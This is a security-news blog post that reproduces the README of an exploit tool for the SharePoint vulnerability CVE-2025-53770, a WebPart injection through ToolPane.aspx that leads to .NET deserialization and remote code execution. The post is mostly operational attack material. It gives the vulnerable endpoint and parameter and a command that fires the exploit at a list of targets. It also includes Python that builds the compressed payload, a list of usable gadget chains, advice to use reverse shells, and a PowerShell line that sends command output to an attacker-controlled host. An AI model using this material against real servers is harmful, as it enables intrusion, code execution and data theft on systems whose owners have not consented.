> ## Content Index > Fetch the complete content index at: https://darkwebinformer.com/llms.txt > Use this file to discover other available public pages before exploring further. # CVE-2025-53770: SharePoint WebPart Injection Exploit Tool - URL: https://darkwebinformer.com/cve-2025-53770-sharepoint-webpart-injection-exploit-tool/ - Published: 2025-07-22T17:26:51.000Z - Updated: 2025-09-04T22:21:03.000Z - Author: Dark Web Informer - Tags: Vulnerabilities, Tools --- **GitHub:** --- [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-sharepoint-webpart-injection-exploit-tool) ๐Ÿ• Exploit tool for SharePoint WebPart Injection via `ToolPane.aspx`, leading to **.NET deserialization** and **remote code execution (RCE)**. **Developed by:** [@GOTOCVE](https://t.me/GOTOCVE) --- ## ๐ŸŒ Overview [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-overview) This tool exploits a vulnerability in **Microsoft SharePoint (on-premises)** that allows **authenticated users** to abuse the `ToolPane.aspx` endpoint and inject **malicious WebParts** containing **GZIP-compressed serialized .NET objects**. The vulnerability exists in the handling of the `CompressedDataTable` property inside the `` WebPart. This results in **unsafe deserialization** using formatters like `BinaryFormatter` or `LosFormatter`, enabling **arbitrary code execution** on the SharePoint server. --- ## โšก Vulnerability Summary [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-vulnerability-summary) | Field | Value | | -------------------- | ----------------------------------------------------------------- | | **Component** | Microsoft SharePoint (on-premises) | | **Endpoint** | /layouts/15/ToolPane.aspx | | **Parameter** | MSOTlPn\_DWP | | **Injected Control** | | | **Vulnerability** | Insecure deserialization (BinaryFormatter, LosFormatter, etc.) | | **CVE** | [CVE-2025-53770](https://nvd.nist.gov/vuln/detail/CVE-2025-53770) | --- ## ๐Ÿงฐ How It Works [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-how-it-works) 1. **Authenticated attacker** sends a `POST` request to: ``` /_layouts/15/ToolPane.aspx?DisplayMode=Edit ``` 1. The request includes the parameter `MSOTlPn_DWP`, containing an injected **WebPart XML**. 2. Inside the WebPart, the attacker places a `` component with the `CompressedDataTable` attribute holding a payload: - Serialized .NET object - Encoded in Base64 - Compressed using GZIP 1. SharePoint automatically **inflates** and **deserializes** the object using unsafe formatters. 2. If the object contains a valid **gadget chain** (e.g., `ObjectDataProvider`), **arbitrary code** is executed on the server. --- ## ๐Ÿ”ง Requirements [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-requirements) - Python 3.x - Required Python modules: pip install -r requirements.txt - A Base64 GZIP-compressed .NET deserialization payload (see next section) --- ## ๐Ÿ“‚ Example Usage [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-example-usage)python3 exploit.py -t targets.txt --file payload.txt --proxy http://127.0.0.1:8080 ### Arguments: [](https://github.com/soltanali0/CVE-2025-53770-Exploit#arguments) | Argument | Description | | ---------------- | ----------------------------------------------------- | | \-t / \--targets | File containing SharePoint target URLs (one per line) | | \--file | File containing the base64 GZIP-compressed payload | | \--proxy | (Optional) Burp/ZAP proxy for interception/debugging | --- ## ๐Ÿ’ฅ Payload Structure [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-payload-structure) The payload must be: - A `.NET DataSet` or similar gadget chain - Serialized using `LosFormatter` or `BinaryFormatter` - Base64-encoded - GZIP-compressed - Embedded inside this WebPart structure:
--- ## Generating Payloads [](https://github.com/soltanali0/CVE-2025-53770-Exploit#generating-payloads) ### โœ… Step 1: Generate the base64 serialized object [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-step-1-generate-the-base64-serialized-object) LosFormatter is a specialized formatter in ASP.NET, commonly used in contexts like CompressedDataTable โ€” which is exactly what SharePoint uses inside its WebParts. I'm currently working on building a tool similar to ysoserial, tailored specifically for this case, to make the exploitation process easier for you. --- ### โœ… Step 2: Compress with GZIP [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-step-2-compress-with-gzip)import gzip, base64 with open("payload.b64", "rb") as f: decoded = base64.b64decode(f.read()) compressed = gzip.compress(decoded) print(base64.b64encode(compressed).decode()) > Save the final output into `payload.txt` โ€” this is what you give to the exploit script. --- ## ๐Ÿงต Compatible Gadget Chains [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-compatible-gadget-chains) You can use any gadget chain supported by your serialization tool. Common examples include: - `System.Data.DataSet` - `System.Data.Services.Internal.ExpandedWrapper` - `System.Web.UI.LosFormatter` - `System.Windows.Data.ObjectDataProvider` --- ## ๐Ÿ“ก Notes on Output / Echo [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-notes-on-output--echo) This vulnerability **does not return command output** like `ipconfig` in the HTTP response. If you want output: - Use reverse shell payloads - Or redirect output via `Invoke-WebRequest`: powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)" --- ## โš ๏ธ Legal Disclaimer [](https://github.com/soltanali0/CVE-2025-53770-Exploit#%EF%B8%8F-legal-disclaimer) > This tool is provided for educational and authorized security testing purposes only. Do not use this tool against systems without explicit permission. Misuse may be illegal and unethical. --- ## ๐ŸŒ More CVEs & Deep Dives [](https://github.com/soltanali0/CVE-2025-53770-Exploit#-more-cves--deep-dives) ๐Ÿ“ข Join [@GOTOCVE on Telegram](https://t.me/GOTOCVE) for: - ๐Ÿ” Weekly CVE breakdowns - ๐Ÿง  In-depth exploit analysis - ๐Ÿ”ด Red & Blue Team detection tips - ๐Ÿ“ฆ Real-world PoCs and threat simulations Stay informed, stay sharp. โšก